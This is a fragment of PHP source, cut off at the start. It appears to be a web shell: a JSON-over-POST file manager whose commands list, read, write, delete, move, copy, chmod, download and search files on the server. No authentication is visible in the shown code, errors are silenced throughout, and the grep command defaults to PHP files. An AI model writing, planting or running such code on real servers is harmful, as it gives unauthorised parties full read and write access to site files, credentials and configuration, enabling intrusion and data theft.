= 1073741824) return round($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function delete_recursive($path) { if (is_file($path)) return @unlink($path); if (is_dir($path)) { $items = @scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; delete_recursive($path . '/' . $item); } } return @rmdir($path); } return false; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $input = file_get_contents('php://input'); $data = json_decode($input, true); if (isset($data['ls'])) { $path = get_path($data['ls']); if (!is_dir($path)) send_json(['ok' => 0, 'error' => 'Not a directory']); $items = @scandir($path); if ($items === false) send_json(['ok' => 0, 'error' => 'Cannot read directory']); $list = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path . '/' . $item; $list[] = [ 'name' => $item, 'type' => is_dir($full) ? 'd' : 'f', 'size' => is_file($full) ? format_size(filesize($full)) : '-', 'perm' => substr(sprintf('%o', fileperms($full)), -4), 'mod' => date('Y-m-d H:i', filemtime($full)) ]; } usort($list, function($a, $b) { if ($a['type'] !== $b['type']) return $a['type'] === 'd' ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); send_json(['ok' => 1, 'path' => $path, 'items' => $list]); } if (isset($data['cat'])) { $path = get_path($data['cat']); if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']); $content = @file_get_contents($path); if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read file']); send_json(['ok' => 1, 'path' => $path, 'size' => strlen($content), 'content' => $content]); } if (isset($data['write'])) { $path = get_path($data['write']); $content = isset($data['content']) ? $data['content'] : ''; $result = @file_put_contents($path, $content); send_json(['ok' => $result !== false ? 1 : 0]); } if (isset($data['mkdir'])) { $path = get_path($data['mkdir']); $result = @mkdir($path, 0755, true); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['rm'])) { $path = get_path($data['rm']); $result = delete_recursive($path); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['mv']) && isset($data['to'])) { $from = get_path($data['mv']); $to = get_path($data['to']); $result = @rename($from, $to); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['cp']) && isset($data['to'])) { $from = get_path($data['cp']); $to = get_path($data['to']); if (is_file($from)) { $result = @copy($from, $to); } else { send_json(['ok' => 0, 'error' => 'Only files can be copied']); } send_json(['ok' => $result ? 1 : 0]); } if (isset($data['chmod'])) { $path = get_path($data['chmod']); $mode = isset($data['mode']) ? octdec($data['mode']) : 0644; $result = @chmod($path, $mode); send_json(['ok' => $result ? 1 : 0]); } if (isset($data['dl'])) { $path = get_path($data['dl']); if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']); $content = @file_get_contents($path); if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read file']); send_json(['ok' => 1, 'name' => basename($path), 'data' => base64_encode($content)]); } if (isset($data['info'])) { $path = get_path($data['info']); if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'Not found']); $info = [ 'path' => $path, 'type' => is_dir($path) ? 'directory' : 'file', 'size' => is_file($path) ? format_size(filesize($path)) : '-', 'perm' => substr(sprintf('%o', fileperms($path)), -4), 'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($path))['name'] : fileowner($path), 'group' => function_exists('posix_getgrgid') ? posix_getgrgid(filegroup($path))['name'] : filegroup($path), 'created' => date('Y-m-d H:i:s', filectime($path)), 'modified' => date('Y-m-d H:i:s', filemtime($path)), 'accessed' => date('Y-m-d H:i:s', fileatime($path)) ]; send_json(['ok' => 1, 'info' => $info]); } if (isset($data['find'])) { $path = get_path(isset($data['in']) ? $data['in'] : ''); $pattern = $data['find']; $results = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); $count = 0; foreach ($iterator as $file) { if ($count >= 100) break; if (fnmatch($pattern, $file->getFilename())) { $results[] = str_replace($path . '/', '', $file->getPathname()); $count++; } } send_json(['ok' => 1, 'results' => $results]); } if (isset($data['grep'])) { $path = get_path(isset($data['in']) ? $data['in'] : ''); $search = $data['grep']; $ext = isset($data['ext']) ? $data['ext'] : 'php'; $results = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS) ); $count = 0; foreach ($iterator as $file) { if ($count >= 50) break; if ($file->isFile() && preg_match('/\.' . preg_quote($ext, '/') . '$/', $file->getFilename())) { $content = @file_get_contents($file->getPathname()); if ($content && stripos($content, $search) !== false) { $results[] = str_replace($path . '/', '', $file->getPathname()); $count++; } } } send_json(['ok' => 1, 'results' => $results]); } send_json(['ok' => 0]); } ?>